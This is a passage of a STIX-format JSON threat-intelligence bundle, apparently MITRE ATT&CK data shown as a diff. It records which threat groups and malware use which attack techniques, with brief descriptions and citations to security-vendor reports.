"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT37](https://attack.mitre.org/groups/G0067) delivers malware using spearphishing emails with malicious HWP attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d0061edc-becf-4ce9-ae91-5e1816d4a894", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim hostname, window resolution, and Microsoft Windows version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a08dadbf-6f68-415f-9daa-f84571af83a2", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e3e841fa-b806-4c22-9f98-a97950b68931", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7", + "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "modified": "2019-03-25T14:26:03.443Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c", + "source_ref": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "modified": "2019-07-24T19:48:23.890Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used PowerShell commands to execute payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1219cbd2-26b8-4a2e-bbf1-477afc396203", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8a9d92e5-e9b5-40bd-8cc4-c4cc5ed9fdd4", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--a7180b8e-c580-49ab-bbfb-e56e8ab48823", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used watering holes to deliver files with exploits to initial victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--62fd473e-e045-4a47-828a-ab5ee7b4fcf0", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "source_name": "Symantec Patchwork", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) communicates to servers operated by Google using the Jabber/XMPP protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962", + "source_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "description": "CyberESI. (2011). TROJAN.GTALK. Retrieved June 29, 2015.", + "source_name": "CyberESI GTALK", + "url": "http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has used a Gh0st variant known as PCrat/Gh0st.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0d432cda-9684-4daa-a66f-c65ad90ff2b7", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--137e1ddc-403b-49b5-a214-20b82bab446e", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8200c438-ec29-4f0e-81c3-9a058c735748", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fe15ff1c-7a12-4bcf-aa93-68deb475e6f0", + "source_ref": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", + "modified": "2019-07-25T11:22:40.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) prompts the users for credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7eef6b42-8c4c-4619-b0ed-fa17f16de722", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) uses rundll32 to call an exported function.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--75785351-1b28-422b-99c9-9fe80eedee05", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) queries the system to identify existing services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.957Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to discover system firewall settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "source_name": "TechNet Netsh", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.", + "source_name": "TechNet Netsh Firewall", + "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--20cf444d-b538-4971-b054-3d749aa945f0", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + }, + { + "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", + "source_name": "IBM TrickBot Nov 2016", + "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" + }, + { + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "source_name": "Microsoft Totbrick Oct 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use WMI to execute a binary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4c4e420-4e1a-420d-9d6a-08fe6d322217", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used Kerberos ticket attacks for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--7dba7706-128e-43a7-a240-6d456c9003a2", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "source_name": "CameraShy", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL search order hijacking.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.", + "created_by_ref": 